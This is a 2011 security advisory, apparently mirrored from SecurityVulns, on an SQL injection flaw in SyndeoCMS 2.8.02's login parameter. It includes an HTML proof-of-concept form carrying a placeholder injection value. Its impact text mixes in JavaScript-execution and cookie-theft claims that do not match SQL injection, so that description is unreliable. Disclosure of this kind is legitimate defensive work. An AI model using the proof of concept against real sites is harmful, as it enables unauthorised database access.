HTB22901: SQL injection in SyndeoCMS

2011-03-25T00:00:00
ID SECURITYVULNS:DOC:25994
Type securityvulns
Reporter Securityvulns
Modified 2011-03-25T00:00:00

Description

Vulnerability ID: HTB22901 Reference: http://www.htbridge.ch/advisory/sql_injection_in_syndeocms.html Product: SyndeoCMS Vendor: http://www.syndeocms.org/ ( http://www.syndeocms.org/ ) Vulnerable Version: 2.8.02 Vendor Notification: 10 March 2011 Vulnerability Type: SQL injection Risk level: High Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "user_username" variable. User can execute arbitrary JavaScript code within the vulnerable application. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

The following PoC is available:

[html] <form action="http://[host]/index.php?section=4&page=3" method="post" name="main" > <input type="hidden" name="user_username" value="1'SQL_CODE_HERE" /> <input type="hidden" name="user_password" value="1" /> <input type="hidden" name="option" value="userlogin" /> <input type="submit" value="submit" name="submit" /> </form> [/html]